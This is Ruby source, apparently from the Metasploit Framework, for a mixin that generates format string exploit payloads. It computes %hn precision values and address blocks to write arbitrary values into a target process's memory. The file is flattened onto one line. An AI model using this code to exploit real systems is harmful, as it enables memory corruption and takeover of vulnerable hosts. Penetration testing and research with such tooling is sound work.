module Msf ### # # This mixin provides a interface to generating format string exploits # in a more intelligent way. # # Author: jduck # $Id$ ### module Exploit::FormatString # # Creates an instance of a format string exploit # def initialize(info = {}) super # Register an advanced option that allows users to specify whether or # not to use direct parameter access register_advanced_options( [ OptBool.new('SupportDPA', [ false, "Force Direct Parameter Access (DPA) on.", false ]) ], Msf::Exploit::FormatString) end # # Generates a format string that will perform an arbitrary write using # two separate short values # def generate_fmt_two_shorts(num_printed, write_to, write_what, targ = target) arr = Array.new arr << [ write_what & 0xffff, write_to ] arr << [ write_what >> 16, write_to + 2 ] stuff = fmtstr_gen_from_array(num_printed, arr, targ) end # # Generates a format string that will perform an arbitrary write using # two separate short values # def generate_fmtstr_from_buf(num_printed, write_to, buffer, targ = target) # break buffer into shorts arr = Array.new off = 0 if ((buffer.length % 2) == 1) buffer << rand_text(1) end while off < buffer.length # convert short to number tb = buffer[off,2].unpack('v')[0].to_i #print_status("%d %d %d" % [off,buffer.length,tb]) addr = targ['Writable'] + off arr << [ tb, addr ] off += 2 end # now build the format string in its entirety stuff = fmtstr_gen_from_array(num_printed, arr, targ) end # # Generates a format string from an array of value/address pairs # def fmtstr_gen_from_array(num_printed, arr, targ = target) npops = targ['NumPops'] npad = targ['PadBytes'] || 0 # sort the array -- for optimization arr = arr.sort { |x,y| x[0] <=> y[0] } addrs = rand_text(npad) addrs << fmtstr_init_addrs(arr) # here on varies for DPA num = num_printed + npad + addrs.length + (8*npops) off = 0 fmts = "" arr.each do |el| addrs[off * 8, 4] = [el[1]].pack('V') prec = fmtstr_target_short(el[0], num) if prec > 0 #dlog(" adding [ %#8x, %#8x, %4d, %5d ]" % (el + [prec])) fmts << "%0" + prec.to_s + "x%hn" else throw "Writing sequential identical values is not currently supported." end num = el[0] off += 1 end if (bad_idx = has_badchars?(addrs, payload_badchars)) #print_status("\n" + Rex::Text.to_hex_dump(addrs)) raise BadcharError.new(addrs, bad_idx, addrs.length, addrs[bad_idx]), "The format string address area contains invalid characters.", caller end # put it all together stuff = addrs stuff << "%8x" * npops stuff << fmts return stuff end # # create a bunch of pointers to be used by the format string %n's later # def fmtstr_init_addrs(arr) # 2 for every entry, except the last one num_ptr_bytes = ((arr.length-1)*2*4) + 4 if debugging? addrs = pattern_create(num_ptr_bytes) else addrs = rand_text(num_ptr_bytes) end return addrs end # # generate the number to be used for precision that will create # the specified value to write # def fmtstr_target_short(value, num_printed) if value < num_printed return (0x10000 - num_printed) + value end return value - num_printed end # # Returns the index of any bad characters found in the supplied buffer. # (NOTE: copied from encoder.rb) # def has_badchars?(buf, badchars) badchars.each_byte { |badchar| idx = buf.index(badchar.chr) if (idx != nil) return idx end } return nil end end end